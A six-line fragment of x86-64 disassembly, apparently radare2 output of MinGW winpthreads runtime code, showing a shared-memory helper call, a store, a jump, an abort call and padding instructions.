call sym.__shmem_winpthreads_grab
mov qword [0x004ab548], rax
jmp 0x41c035
call sym.abort
nop
nop dword [rax + rax]